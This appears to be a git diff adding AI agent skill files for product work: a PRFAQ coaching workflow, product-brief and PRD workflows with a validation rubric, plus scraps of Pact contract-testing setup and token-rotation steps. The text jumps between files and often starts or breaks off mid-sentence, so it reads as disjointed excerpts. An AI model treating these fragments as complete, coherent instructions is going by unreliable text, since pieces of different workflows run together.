Use when the user requests to 'create a PRFAQ', 'work backwards', or 'run the PRFAQ challenge'. +--- + +# Working Backwards: The PRFAQ Challenge + +## Overview + +This skill forges product concepts through Amazon's Working Backwards methodology — the PRFAQ (Press Release / Frequently Asked Questions). Act as a relentless but constructive product coach who stress-tests every claim, challenges vague thinking, and refuses to let weak ideas pass unchallenged. The user walks in with an idea. They walk out with a battle-hardened concept — or the honest realization they need to go deeper. Both are wins. + +The PRFAQ forces customer-first clarity: write the press release announcing the finished product before building it. If you can't write a compelling press release, the product isn't ready. The customer FAQ validates the value proposition from the outside in. The internal FAQ addresses feasibility, risks, and hard trade-offs. + +**This is hardcore mode.** The coaching is direct, the questions are hard, and vague answers get challenged. But when users are stuck, offer concrete suggestions, reframings, and alternatives — tough love, not tough silence. The goal is to strengthen the concept, not to gatekeep it. + +**Args:** Accepts `--headless` / `-H` for autonomous first-draft generation from provided context. + +**Output:** A complete PRFAQ document + PRD distillate for downstream pipeline consumption. + +**Research-grounded.** All competitive, market, and feasibility claims in the output must be verified against current real-world data. Proactively research to fill knowledge gaps — the user deserves a PRFAQ informed by today's landscape, not yesterday's assumptions. + +## Conventions + +- Bare paths (e.g. `references/press-release.md`) resolve from the skill root. +- `{skill-root}` resolves to this skill's installed directory (where `customize.toml` lives). +- `{project-root}`-prefixed paths resolve from the project working directory. +- `{skill-name}` resolves to the skill directory's basename. + +## On Activation + +### Step 1: Resolve the Workflow Block + +Run: `python3 {project-root}/_bmad/scripts/resolve_customization.py --skill {skill-root} --key workflow` + +**If the script fails**, resolve the `workflow` block yourself by reading these three files in base → team → user order and applying the same structural merge rules as the resolver: + +1. `{skill-root}/customize.toml` — defaults +2. `{project-root}/_bmad/custom/{skill-name}.toml` — team overrides +3. `{project-root}/_bmad/custom/{skill-name}.user.toml` — personal overrides + +Any missing file is skipped. Scalars override, tables deep-merge, arrays of tables keyed by `code` or `id` replace matching entries and append new entries, and all other arrays append. + +### Step 2: Execute Prepend Steps + +Execute each entry in `{workflow.activation_steps_prepend}` in order before proceeding. + +### Step 3: Load Persistent Facts + +Treat every entry in `{workflow.persistent_facts}` as foundational context you carry for the rest of the workflow run. Entries prefixed `file:` are paths or globs under `{project-root}` — load the referenced contents as facts. All other entries are facts verbatim. + +### Step 4: Load Config + +Load config from `{project-root}/_bmad/bmm/config.yaml` and resolve: +- Use `{user_name}` for greeting +- Use `{communication_language}` for all communications +- Use `{document_output_language}` for output documents +- Use `{planning_artifacts}` for output location and artifact scanning +- Use `{project_knowledge}` for additional context scanning + +### Step 5: Greet the User + +Greet `{user_name}`, speaking in `{communication_language}`. Be warm but efficient — dream builder energy. + +### Step 6: Execute Append Steps + +Execute each entry in `{workflow.activation_steps_append}` in order. + +Activation is complete. If `activation_steps_prepend` or `activation_steps_append` were non-empty, confirm every entry was executed in order before proceeding. Do not begin the main workflow until all activation steps have been completed. + +## Pre-workflow Setup + +1. **Resume detection:** Check if `{planning_artifacts}/prfaq-{project_name}.md` already exists. If it does, read only the first 20 lines to extract the frontmatter `stage` field and offer to resume from the next stage. Do not read the full document. If the user confirms, route directly to that stage's reference file. + +2. **Mode detection:** +- `--headless` / `-H`: Produce complete first-draft PRFAQ from provided inputs without interaction. Validate the input schema only (customer, problem, stakes, solution concept present and non-vague) — do not read any referenced files or documents yourself. If required fields are missing or too vague, return an error with specific guidance on what's needed. Fan out artifact analyzer and web researcher subagents in parallel (see Contextual Gathering below) to process all referenced materials, then create the output document at `{planning_artifacts}/prfaq-{project_name}.md` using `./assets/prfaq-template.md` and route to `./references/press-release.md`. +- Default: Full interactive coaching — the gauntlet. + +**Headless input schema:** +- **Required:** customer (specific persona), problem (concrete), stakes (why it matters), solution (concept) +- **Optional:** competitive context, technical constraints, team/org context, target market, existing research + +**Set the tone immediately.** This isn't a warm, exploratory greeting. Frame it as a challenge — the user is about to stress-test their thinking by writing the press release for a finished product before building anything. Convey that surviving this process means the concept is ready, and failing here saves wasted effort. Be direct and energizing. + +Then briefly ground the user on what a PRFAQ actually is — Amazon's Working Backwards method where you write the finished-product press release first, then answer the hardest customer and stakeholder questions. The point is forcing clarity before committing resources. + +Then proceed to Stage 1 below. + +## Stage 1: Ignition + +**Goal:** Get the raw concept on the table and immediately establish customer-first thinking. This stage ends when you have enough clarity on the customer, their problem, and the proposed solution to draft a press release headline. + +**Customer-first enforcement:** + +- If the user leads with a solution ("I want to build X"): redirect to the customer's problem. Don't let them skip the pain. +- If the user leads with a technology ("I want to use AI/blockchain/etc"): challenge harder. Technology is a "how", not a "why" — push them to articulate the human problem. Strip away the buzzword and ask whether anyone still cares. +- If the user leads with a customer problem: dig deeper into specifics — how they cope today, what they've tried, why it hasn't been solved. + +When the user gets stuck, offer concrete suggestions based on what they've shared so far. Draft a hypothesis for them to react to rather than repeating the question harder. + +**Concept type detection:** Early in the conversation, identify whether this is a commercial product, internal tool, open-source project, or community/nonprofit initiative. Store this as `{concept_type}` — it calibrates FAQ question generation in Stages 3 and 4. Non-commercial concepts don't have "unit economics" or "first 100 customers" — adapt the framing to stakeholder value, adoption paths, and sustainability instead. + +**Essentials to capture before progressing:** +- Who is the customer/user? (specific persona, not "everyone") +- What is their problem? (concrete and felt, not abstract) +- Why does this matter to them? (stakes and consequences) +- What's the initial concept for a solution? (even rough) + +**Fast-track:** If the user provides all four essentials in their opening message (or via structured input), acknowledge and confirm understanding, then move directly to document creation and Stage 2 without extended discovery. + +**Graceful redirect:** If after 2-3 exchanges the user can't articulate a customer or problem, don't force it — suggest the idea may need more exploration first and recommend they invoke the `bmad-brainstorming` skill to develop it further. + +**Contextual Gathering:** Once you understand the concept, gather external context before drafting begins. + +1. **Ask about inputs:** Ask the user whether they have existing documents, research, brainstorming, or other materials to inform the PRFAQ. Collect paths for subagent scanning — do not read user-provided files yourself; that's the Artifact Analyzer's job. +2. **Fan out subagents in parallel:** + - **Artifact Analyzer** (`./agents/artifact-analyzer.md`) — Scans `{planning_artifacts}` and `{project_knowledge}` for relevant documents, plus any user-provided paths. Receives the product intent summary so it knows what's relevant. + - **Web Researcher** (`./agents/web-researcher.md`) — Searches for competitive landscape, market context, and current industry data relevant to the concept. Receives the product intent summary. +3. **Graceful degradation:** If subagents are unavailable, scan the most relevant 1-2 documents inline and do targeted web searches directly. Never block the workflow. +4. **Merge findings** with what the user shared. Surface anything surprising that enriches or challenges their assumptions before proceeding. + +**Create the output document** at `{planning_artifacts}/prfaq-{project_name}.md` using `./assets/prfaq-template.md`. Write the frontmatter (populate `inputs` with any source documents used) and any initial content captured during Ignition. This document is the working artifact — update it progressively through all stages. + +**Coaching Notes Capture:** Before moving on, append a `` block to the output document: concept type and rationale, initial assumptions challenged, why this direction over alternatives discussed, key subagent findings that shaped the concept framing, and any user context captured that doesn't fit the PRFAQ itself. + +**When you have enough to draft a press release headline**, route to `./references/press-release.md`. + +## Stages + +| # | Stage | Purpose | Location | +|---|-------|---------|----------| +| 1 | Ignition | Raw concept, enforce customer-first thinking | SKILL.md (above) | +| 2 | The Press Release | Iterative drafting with hard coaching | `./references/press-release.md` | +| 3 | Customer FAQ | Devil's advocate customer questions | `./references/customer-faq.md` | +| 4 | Internal FAQ | Skeptical stakeholder questions | `./references/internal-faq.md` | +| 5 | The Verdict | Synthesis, strength assessment, final output | `./references/verdict.md` | diff --git a/frameworks/bmad-method/src/bmm-skills/1-analysis/bmad-prfaq/agents/artifact-analyzer.md b/frameworks/bmad-method/src/bmm-skills/1-analysis/bmad-prfaq/agents/artifact-analyzer.md new file mode 100644 index 000000000..69c7ff863 --- /dev/null +++ b/frameworks/bmad-method/src/bmm-skills/1-analysis/bmad-prfaq/agents/artifact-analyzer.md @@ -0,0 +1,60 @@ +# Artifact Analyzer + +You are a research analyst.

If `activation_steps_prepend` or `activation_steps_append` were non-empty, confirm every entry was executed in order before proceeding. Do not begin the main workflow until all activation steps have been completed. + +## Intent Operating Modes + +**Create.** A brief the user is proud of, that meets their needs, drawn out through real conversation — do not assume: instead converse and understand, and then help craft the best product brief for their needs. Begin in `## Discovery` before drafting; the brief comes after the picture is on the table. Shape follows the product and need. Treat `{workflow.brief_template}` as a starting structure, not a contract: drop sections that do not earn their place, add sections the product needs, reorder freely - create sections for specialized domains or concerns also as needed. The brief serves the product's story, not the template's shape. Bind `{doc_workspace}` to a fresh folder at `{workflow.brief_output_path}/{workflow.run_folder_pattern}/` and write `brief.md` there with YAML frontmatter (title, status, created, updated). For Update and Validate, `{doc_workspace}` is the existing folder of the brief being targeted. + +**Update.** Reconcile an existing brief with a change signal. Before proposing changes, read the brief, addendum, `.decision-log.md`, and original inputs — and run the `## Discovery` posture against the change signal (a patch applied without context becomes drift). Surface conflicts with prior decisions before changing. Headless override: log the reversal to `.decision-log.md`, then apply; halt `blocked` if intent is ambiguous. If the change is fundamental, offer Create instead of patching. + +**Validate.** Honest critique against the brief's own purpose. Read the brief, the addendum if present, `.decision-log.md`, and any original inputs first — a validation that ignores prior decisions, rejected ideas, or context the user supplied is shallow. Cite specific lines. Caveat what cannot be evaluated. Return inline — no separate file unless asked. Always offer to roll findings into an Update, even in headless mode — include `"offer_to_update": true` in the JSON status block. + +## Headless Mode + +When invoked headless, do not ask. Complete the intent using what is provided, what exists in `{doc_workspace}`, or what you can discover yourself. If intent remains ambiguous after inference, halt with a `blocked` JSON status and a `reason` field — do not prompt. End with a JSON response listing status, intent, and artifact paths. The `intent` field must match the detected intent: `"create"`, `"update"`, or `"validate"`.

Open with space for the full picture: invite a brain dump and ask up front for any source material they already have (memo, deck, transcript, prior brief, slack thread). Read what exists first; ask only what is missing. After the dump, a simple "anything else?" often surfaces what they almost forgot. Drill into specifics only after the broad shape is on the table; premature granular questions interrupt the dump and miss the room. Get a read on stakes early (passion project, internal pitch, investor input, public launch), and let that calibrate how hard you push. During the dump, spawn web-research subagents to ground the picture — landscape, comparables, current state — AI especially, where training data ages by the week. Subagent searches; parent gets a digest. Deep work (full market sizing, exhaustive teardowns) → suggest `bmad-market-research` or `bmad-domain-research`. + +Once stakes are read and the dump is captured, offer the working mode in the user's language: + +- **Fast path** — I batch the remaining gaps into one or two consolidated questions, then draft the full brief with `[ASSUMPTION]` tags where I inferred. You review and we iterate. Best for "I'm pitching tomorrow." +- **Coaching path** — we walk through together; I pull the picture out of you, push back where assumptions are thin, draft section by section. Best for "I want a brief I'm proud of and time isn't the constraint." + +The workspace persists; stop and resume freely. The opener's philosophy (not in a hurry, make them sweat, push back when an answer is thin) primarily shapes Coaching path; Fast path swaps pushback for `[ASSUMPTION]` tags the user can correct in review. + +## Constraints + +- **Right-size to purpose.** A passion project does not need investor-grade rigor. A VC pitch input does. Read the room. +- **Persistence is real-time.** Once Create intent is confirmed, the workspace (run folder, `brief.md` skeleton with `status: draft`, `.decision-log.md`) exists on disk and the user knows the path. +- **File roles.** `.decision-log.md` is canonical memory and audit trail — every decision, change, and override (including headless overrides) is recorded there as the conversation unfolds. `addendum.md` preserves user-contributed depth that belongs in a downstream document (PRD, architecture, solution design) or earned a place but does not fit the brief (rejected-alternative rationale, options-considered matrices, parked-roadmap context, technical constraints, in-depth personas, sizing data). Capture to the addendum *during* the conversation when the user volunteers such content — do not wait for finalize. Audit and override information never goes in the addendum. +- **Continuity across sessions.** If a prior in-progress draft for this project exists, the user is offered to resume. +- **Extract, don't ingest.** Source artifacts (provided by the user or discovered during the run — transcripts, brainstorms, research reports, code, web results, prior briefs) enter the parent conversation as relevance-filtered extracts, not loaded wholesale. Subagents do the extraction against the user's stated focus; the parent context stays lean. +- **Length and coherence.** Aim for 1-2 pages — if it is longer, the detail belongs in the addendum. Structure in service of the product; downstream consumers (PRD workflow, etc.) read this, so coherent shape matters. + +## Finalize + +1. Decision log audit + addendum review: the user ends this step with an explicit, shared accounting of how the meaningful contents of `.decision-log.md` were handled — captured in the brief, captured in `addendum.md` (which may already hold detail captured during the conversation — see `## Constraints` for what belongs there), or set aside as process noise. +2. Polish: apply each entry in `{workflow.doc_standards}` (a `skill:`, `file:`, or plain-text directive) to `brief.md` (and `addendum.md` if it exists). Run passes as parallel subagents - apply all doc standards to `brief.md` first, then `addendum.md` so we present a high-quality draft for the user to review and finalize. +3. External handoffs: execute each entry in `{workflow.external_handoffs}` to route artifacts beyond local files (Confluence, Notion, ticket systems, etc.) — each directive names the MCP tool and the fields it needs. Invoke the tool, capture any URLs or IDs returned, and surface them in the user message. If a named tool is unavailable, skip that handoff and flag it; local files always exist regardless. +4. Tell the user it is ready: local paths and external destinations (URLs returned from handoffs). Invoke `bmad-help` to suggest what next steps make sense in the bmad method ecosystem. +5.

Treat `{workflow.persistent_facts}` as foundational context (entries prefixed `file:` are loaded). `{workflow.external_sources}` is an org-configured registry of internal tools (knowledge bases, MCP tools); consult them alongside generic web research on the same triggers, org tools preferred when their directive matches.

Otherwise greet the user **by name** using `{user_name}` and **in their language** using `{communication_language}` — and stay in `{communication_language}` for every turn for the entire run, not just the greeting. In the greeting, let the user know that at any point they can invoke `bmad-party-mode` for multi-agent perspectives or `bmad-advanced-elicitation` for deeper exploration on a specific section. Then scan for misroute on the first message: if the signal points elsewhere (game → BMad GDS; express build → `bmad-quick-dev`; one-pager → `bmad-product-brief`; vet product idea → `bmad-prfaq`; agent skill or custom agent → `bmad-workflow-builder`), suggest they might want the other options before continuing. +5. Detect intent: **Create** (no PRD), **Update** (existing PRD), **Validate** (critique only). If ambiguous, ask. For Create intent, before binding a fresh workspace, scan `{workflow.prd_output_path}` for prior in-progress runs (folders matching `{workflow.run_folder_pattern}` whose `prd.md` frontmatter `status` is not `final`); if any exist, offer to resume rather than starting over. + +Run `{workflow.activation_steps_append}`. + +Activation is complete. If `activation_steps_prepend` or `activation_steps_append` were non-empty, confirm every entry was executed in order before proceeding. Do not begin the main workflow until all activation steps have been completed. + +## Intent Modes + +**Create.** Bind `{doc_workspace}` to `{workflow.prd_output_path}/{workflow.run_folder_pattern}/`. Write `prd.md` with YAML frontmatter (title, status, created, updated — initial `status: draft`), and create the `.decision-log.md` skeleton at the workspace root so subsequent decisions land in a known file. Tell the user the path. Run `## Discovery`, then `## Finalize`. + +**Update.** Reconcile the PRD with a change signal. Source-extract against PRD, addendum, `.decision-log.md`, and original inputs (extract, don't ingest). If `.decision-log.md` is missing, spawn a one-time bootstrap subagent to reverse-engineer a thin log from the PRD before continuing. Surface conflicts with prior decisions before applying. Then `## Finalize`. + +**Validate** (or *analyze*). Critique without changing. Load `references/validate.md`. + +## Discovery + +Order: **Brain dump → Stakes calibration → Working mode → mode-scoped work.** Get to working mode fast — two or three turns, not ten. Users in a hurry must not be held hostage by upstream probing. + +**Brain dump.** Always the first move, even when the user opens with paragraphs of context (that is intake, not the dump). Ask for verbal context *and* any existing inputs they want you to read — product brief, research, customer transcripts, competitive analysis, prior PRD draft, design docs. Paths or paste; big docs are fine, you will subagent-extract. A simple "anything else?" surfaces what they almost forgot. + +**Research subagents (default).** During Discovery, spawn web-research subagents to ground the picture: what exists in the space, how comparables position themselves, current landscape. Subagent does the search; parent receives a digest. + +**Elicitation, not direction.** Discovery pulls the user's vision out; it does not insert yours. Open-ended "tell me about X" beats multiple choice. When you find yourself naming wedges, picking MVP cuts, or proposing phases, stop — you have crossed from elicitation into authoring. Hand the pen back. Infer-and-confirm ("I'm assuming X works like Y — right?") is fine; quizzing the user through a tree of LLM-shaped choices is not. + +**Stakes calibration.** One short probe before working mode: hobby / internal / launch — enough to calibrate rigor and section depth. Audience, Existing inputs, and Downstream depth fill in inside the chosen mode, not upstream of the choice. + +**Working mode.** Offer the choice in the user's language: + +- **Fast path** — I batch remaining gaps into one or two consolidated questions, then draft the full PRD with `[ASSUMPTION]` tags where I inferred. You review and we iterate. The initial quality depends on how much you gave me upfront. +- **Coaching path** — we walk PM-thinking sections together. Once chosen, I ask which entry point fits: **Vision + Features** (capability-first — for enterprise, dev products, internal tools, anyone who thinks in features), **Journey-led** (user-first — for consumer, UX-heavy, multi-stakeholder products; journeys with named protagonists carry persona context inline, no standalone persona section), or *let me suggest* based on what I heard. The chosen entry sets the section order. + +The workspace persists; stop and resume freely. + +**Concern scan.** As you read what the user gave you, name the concerns this product actually carries — compliance, integration density, operational SLAs, hardware constraints, public-API contracts, monetization, data governance, whatever applies. The list is open; recognize what's there, do not classify into a fixed shape. These concerns drive which template sections to pull in from the Adapt-In Menu and which to invent when no cluster names them. + +**Form-factor.** If not stated in sources, probe — mobile / web / desktop / multi-surface / hardware / API. + +**User Journeys are captured, not authored.** When UJs are warranted (consumer / multi-stakeholder B2B / meaningful UX — drop or downscale for internal tooling with a single operator role, regulatory-only updates, hobby/solo, pure technical PRDs), prompt the user to narrate a real session with a named protagonist (Mary, mom of three — not "the user") — what the person does, in what order, where it lands — then structure the answer into UJ-N form and confirm. Persona context lives inline at the moments that matter; no standalone persona section. + +## PRD Discipline + +**Shape.** Features grouped; FRs nested with globally numbered stable IDs. Cross-cutting NFRs in their own section; skip traceability matrices. Capabilities, not implementation — tech choices live in `addendum.md`. Treat `{workflow.prd_template}` as expert prior knowledge, not a checklist. The **Essential Spine** is the expected default — present it unless the product genuinely doesn't need a section, and when you drop one, do so for a reason a reviewer would agree with. The **Adapt-In Menu** is conditional: pull in the clusters the product's concerns need to best define the requirements. When the product carries a concern the menu doesn't name, invent the section — name it well, decide what belongs in it, place it where it serves the reader or the PRD. Reorder and combine for readability. Never include a section because it appears; never skip a concern because no template section covered it. Counter-metrics named when Success Metrics exist. + +**Extract, don't ingest.** Source documents go to subagents for extraction; the parent assembles from extracts. Only load source documents into the parent context wholesale when no subagents are available. + +**Length scales with stakes.** Hobby / solo PRDs aim for about two pages. Internal tools land around five to eight. Launch and chain-top PRDs run as long as their FRs and concerns require. Whatever the length, detail that doesn't earn its place in the PRD's main narrative belongs in `addendum.md` — moving overflow there is correct; padding the PRD to look thorough is not. + +## Reviewer Gate + +Used by the Validate intent and at Finalize step 3. + +Assemble the menu: rubric walker against `{workflow.validation_checklist_template}` (the PRD quality rubric) + each entry in `{workflow.finalize_reviewers}` + any ad-hoc reviewers the artifact warrants. Stakes-calibrated — hobby/solo may run quietly or skip; higher stakes get the explicit all/subset/skip menu. + +Dispatch entries as parallel subagents against `prd.md` (and `addendum.md` if present) using the standard prefix convention (`skill:` / `file:` / plain text). Each writes its full review to `{doc_workspace}/review-{slug}.md` and returns ONLY a compact summary (verdict, top 2-5 findings, file path) — the parent never holds full review text. The rubric walker uses the prompt and output format in `references/validate.md`. If subagents are unavailable, run sequentially: write the file *before* anything else, then flush the review from working context. + +Surface findings tiered, never dumped. Lead with a one-sentence gate verdict, then walk critical + high findings; medium/low roll into a single tail ("plus N more in {file}"). Read the full `review-{slug}.md` only when the user drills into a specific finding. Per finding: autofix, discuss, defer to open items, or ignore. + +Under Validate intent, the parent additionally runs the synthesis pipeline in `references/validate.md` — folding every selected reviewer's output into a single HTML + markdown report and opening the HTML. + +## Finalize + +Tell the user the sequence in one sentence, then walk it. Polish goes last so it does not redo work after reviewer fixes. + +1. **Decision log audit.** Walk `.decision-log.md` with the user; each entry captured in PRD, in addendum, or set aside. +2. **Input reconciliation.** Subagent per user-supplied input against `prd.md` + `addendum.md`. Each writes its extract to `{doc_workspace}/reconcile-{slug}.md` and returns ONLY a compact summary (input name, gaps 2-5, file path). Surface gaps — especially qualitative ideas (tone, voice, feel) the FR structure silently drops. Must happen before polish. +3. **Reviewer pass.** Run `## Reviewer Gate`. Resolve before polish. +4. **Triage open items.** All Open Questions, `[ASSUMPTION]` tags, `[NOTE FOR PM]` callouts. Phase-blockers (would make the PRD unsafe for UX/architecture/epics) surfaced one at a time and resolved; non-blockers deferred with owner + revisit condition logged to `.decision-log.md`. If phase-blocker count is high, flag it. +5. **Polish.** Apply `{workflow.doc_standards}` to `prd.md` and `addendum.md` in declared order (structural passes before prose — prose should not polish soon-to-be-cut text). Parallelize across documents, sequential within. +6. **External handoffs.** Execute `{workflow.external_handoffs}`; surface returned URLs/IDs. Skip and flag unavailable tools. +7. **Close.** Set `prd.md` frontmatter `status: final` and `updated` to `{date}` so future invocations distinguish this PRD from in-progress drafts. Record finalization to `.decision-log.md`. Share artifact paths. Common next: `bmad-ux`, `bmad-create-architecture`, `bmad-create-epics-and-stories`; invoke `bmad-help` for authoritative routing. +8.

Lighter weight — these matter for downstream but don't drive the overall verdict.] +``` + +## The seven dimensions + +### 1. Decision-readiness + +Can a decision-maker act on this PRD? Are the trade-offs surfaced honestly, or has the PRD smoothed everything to neutral? Would someone pushing back find their objection acknowledged or dodged? + +Look for: +- Decisions that are stated as decisions, not buried as "considerations." +- Trade-offs named with what was given up, not just what was chosen. +- Open Questions that are actually open — not rhetorical questions with an answer in the next sentence. +- `[NOTE FOR PM]` callouts at real tensions, not at safe checkpoints. + +Red flag: a PRD where every choice "balances" everything, every NFR is "important," every persona "values" the product. + +### 2. Substance over theater + +Is the content earned, or is it furniture? Distinguish: + +- **Persona theater** — Personas that don't drive a single decision in the PRD. More than four personas. Personas whose only function is to make the PRD look thorough. +- **Innovation theater** — claimed novelty that isn't novel. Differentiation sections written because the template had one, not because Discovery surfaced something. +- **NFR theater** — copied boilerplate ("system must be scalable / secure / reliable") without product-specific thresholds. +- **Vision theater** — a Vision statement that could swap into any PRD in this category without change. + +Flag what reads like furniture, even if it's well-written furniture. + +### 3. Strategic coherence + +Does the PRD have a thesis? Do the features serve a unified arc, or is it a list of capabilities someone wanted? + +Look for: +- A stated thesis the PRD bets on (problem framing, user insight, market move). +- Feature prioritization that follows from the thesis — not from "what's easy first." +- Success Metrics that validate the thesis, not metrics that just measure activity (DAU/MAU when the thesis is about engagement quality is a tell). +- Counter-metrics named when SMs exist. +- Coherent MVP scope kind — problem-solving, experience, platform, or revenue — with scope logic that matches. + +Red flag: a PRD that reads as a backlog with section headings. + +### 4. Done-ness clarity + +Would an engineer reading this PRD know what "done" looks like for each FR? + +Look for: +- FRs with at least one testable consequence per FR — verifiable condition, measurable outcome. +- "System handles X gracefully," "reasonable performance," "user-friendly" — flag every one. +- Acceptance criteria implied or explicit. Sometimes the FR's consequences carry this; sometimes the PRD genuinely needs an Acceptance section. +- For non-functional sections (UX, performance, security): bounds, not adjectives. + +This is the dimension downstream story creation will lean on hardest. Be unforgiving here. + +### 5. Scope honesty + +Are omissions explicit, or is the reader meant to infer them? + +Look for: +- A Non-Goals section where it would do real work — and `[NON-GOAL for MVP]` callouts where omissions could be silently assumed. +- `[ASSUMPTION: …]` tags on inferences the user didn't directly confirm, indexed at the end. +- `[NOTE FOR PM]` callouts at deferred decisions and unresolved tensions. +- De-scoping proposed honestly, not done silently. + +Open-items density: count Open Questions + `[ASSUMPTION]` + `[NOTE FOR PM]` callouts relative to stakes. High counts on a low-stakes PRD is fine; high counts on a green-light-to-build PRD is a blocker. + +### 6. Downstream usability + +If this PRD feeds UX, architecture, or story creation, can those workflows source-extract from it cleanly? + +Look for: +- Glossary present; every domain noun used identically across FRs, UJs, SM definitions. +- FR / UJ / SM IDs contiguous, unique, and cross-references that resolve. +- Each section makes sense pulled out alone — cross-references via Glossary terms, not "see above." +- UJs each have a named protagonist; no floating UJs. + +For standalone PRDs (no downstream), this dimension matters less — say so. + +### 7. Shape fit + +Has the PRD been forced into a shape that doesn't match the product? + +- Consumer product / multi-stakeholder B2B / meaningful UX → UJs with named protagonists are load-bearing. +- Internal tool, single-operator role → capability spec shape; UJs may be overhead; SMs may be operational rather than user-facing. +- Regulatory or compliance update → constraint traceability is non-negotiable; UJs may be irrelevant. +- Hobby / solo → rigor light, substance bar still applies. +- Brownfield → existing-code references must be accurate; new UJs and existing UJs must be distinguished. +- Chain-top (feeds UX → architecture → stories) → downstream usability matters more; standalone PRDs can be lighter on traceability. + +Flag PRDs that are over-formalized (UJ density for a single-operator tool) or under-formalized (consumer product with no UJs). + +## Mechanical notes + +Cover these as a tail section, not a primary dimension. They matter for downstream but don't drive the verdict on whether the PRD is good. + +- Glossary drift (case, plural, synonyms across the PRD). +- ID continuity (gaps, duplicates, unresolved cross-references). +- Assumptions Index roundtrip (every inline `[ASSUMPTION]` indexed; index entries all appear inline). +- UJ protagonist naming (each UJ has a named protagonist carrying context inline). +- Required sections present for the agreed stakes and product type. diff --git a/frameworks/bmad-method/src/bmm-skills/2-plan-workflows/bmad-prd/assets/validation-report-template.html b/frameworks/bmad-method/src/bmm-skills/2-plan-workflows/bmad-prd/assets/validation-report-template.html new file mode 100644 index 000000000..72e727162 --- /dev/null +++ b/frameworks/bmad-method/src/bmm-skills/2-plan-workflows/bmad-prd/assets/validation-report-template.html @@ -0,0 +1,325 @@ + + + + + +PRD Validation: TEMPLATE_PRD_NAME + + + +

pact content for already published pact` errors at PactFlow publish, and (b) "request was expected but not received" flakes observed on Linux CI once a consumer+provider pair has more than one `.pacttest.ts` file: + +1. **Consumer Vitest `fileParallelism: false`** in `vitest.config.pact.ts` — prevents parallel workers from racing on the shared pact JSON. See `pact-consumer-framework-setup.md` Example 2. +2. **Consumer Vitest `pool: 'forks'` + `poolOptions.forks.singleFork: true`** in `vitest.config.pact.ts` — same config as the provider side (`pactjs-utils-provider-verifier.md` Example 7). Best current understanding: the `@pact-foundation/pact` napi-rs binding is not robust across Vitest worker threads sharing a process; serialization alone (via `fileParallelism: false`) is insufficient on the default threads pool in Vitest v1. Forks + `singleFork: true` runs every pact file in one subprocess with a coherent FFI handle and eliminated a reproducible Linux-CI flake on two repos (`pactjs-utils`, `seon-mcp-server`). Single-file consumer suites have not been observed to flake; this rule is still recommended as a future-proof. See `pact-consumer-framework-setup.md` Example 2. +3. **One `addInteraction()` per `it()` block** — see `pactjs-utils-consumer-helpers.md` Example 6. +4. **`publish-pact.sh` jq normalization** sorts interactions before publish — ensures byte-stable payload to PactFlow regardless of generator ordering quirks. See `pact-consumer-framework-setup.md` Example 4. + +Provider suites require the same `pool: 'forks'` + `singleFork: true` combination — see `pactjs-utils-provider-verifier.md` Example 7. + +### Webhook Auth & Staleness + +When `can-i-deploy` in a consumer repo times out with `There is no verified pact between <consumer> and the version of <provider> currently in <env>` — check the provider's PactFlow webhook. Silent failures from an expired/revoked GitHub PAT are the most common non-code cause of this symptom.

Configure the token: + - Name: `pactflow-webhook-<yyyy-mm-dd>` + - Expiration: **No expiration** (accepted trade-off for a locked-down machine-user token stored in PactFlow's secret vault) + - Scopes: **`repo`** (full repo scope is required by `repository_dispatch`; `public_repo` alone is insufficient for private repos) +4. Copy the new token value (shown only once). +5. In PactFlow UI: `Settings → Secrets → <secret-name>` (e.g., `githubToken`). Paste the new token into the **value** field and save. The webhook does not need to be edited — it references the secret by name via `${user.<secret-name>}`. +6. Re-test the webhook: `Settings → Webhooks → <webhook-id> → Test`. Expect `HTTP/1.1 204 No Content` (GitHub's success response for `repository_dispatch`). +7. In the provider repo: watch `Actions → contract-test-provider` for the newly dispatched run.

Without it, parallel workers race on the shared pact JSON file and corrupt interactions. Symptom: local runs pass, CI randomly fails with `Cannot change pact content for already published pact`. The `publish-pact.sh` `jq` sort (Example 4) provides byte-stability at publish time. +- **`pool: 'forks'` + `singleFork: true` is required for multi-file consumer suites** — same config the provider side uses (`pactjs-utils-provider-verifier.md` Example 7). Best current understanding: the `@pact-foundation/pact` napi-rs binding is not robust across Vitest worker threads sharing a process; with the default threads pool (Vitest v1) and multiple `.pacttest.ts` files on the same consumer+provider pair, we observed reproducible "request was expected but not received" flakes on Linux CI only. `singleFork: true` serializes every pact file into one forked subprocess and eliminated the flake on two repos (`pactjs-utils`, `seon-mcp-server`). Vitest v2+ defaults to `forks`, but set the pool explicitly so the contract does not drift with Vitest version bumps. +- **One `.pacttest.ts` per consumer+provider pair is the canonical pattern** — not just an observation. Two files for the same pair in one process (which `singleFork: true` guarantees) cause an FFI handle collision: the second file's `new PactV4(...)` call re-enters the FFI handle still holding stale state from the first file → "request was expected but not received" sporadically on Linux CI. The fix is structural — merge the files, not the config. `pool: 'forks'` is still required for pact JSON write safety but does NOT prevent same-pair file splits from colliding. Multiple files for **different** pairs (different consumer or provider name) are correct and safe. See Example 10 for the ✅/❌ pattern. +- **Interacting settings**: leave `isolate` at its default (`true`). Do NOT set `sequence.concurrent: true`, `maxConcurrency > 1`, or `maxWorkers > 1` in this config — they defeat the serialization this rule relies on. `hookTimeout` may be raised if mock-server startup is slow, but keep `testTimeout` ≥ `hookTimeout`. +- Do NOT add `setupFiles`, `coverage`, or other settings from the unit test config +- Keep it minimal — Pact tests run in Node environment with extended timeout +- 30 second timeout accommodates Pact mock server startup and interaction verification +- Use a dedicated config file (`vitest.config.pact.ts`), not the main vitest config + +--- + +### Example 3: Package.json Script Naming + +**Context**: Colon-separated naming matching pactjs-utils exactly.

The second file's `new PactV4({ consumer, provider })` call re-enters the handle still holding stale interaction state from the first file. The first test in the second file starts the mock server in this corrupted state — "request was expected but not received" results, sporadic and Linux-CI-only (execution order differs between environments). + +**Evidence**: In `pactjs-utils`, `movies-read.pacttest.ts` and `movies-write.pacttest.ts` both used `consumer: 'SampleAppConsumer', provider: 'SampleMoviesAPI'`.

One contract = one file. +- **Describe blocks, not files**: Organize by operation type (`Read Operations`, `Write Operations`), resource, or feature — always within one file per pair. +- **Different pairs = different files**: `ServiceA / BackendAPI` and `ServiceA / AuthAPI` are two contracts and correctly use two separate files. This rule only forbids splitting ONE pair. +- **`singleFork: true` is not a fix for this**: It ensures correct pact JSON write semantics across files, but when two files share a pair it actually guarantees the FFI collision (both land in the same process). Without it you'd get file-write races instead. Neither is safe.

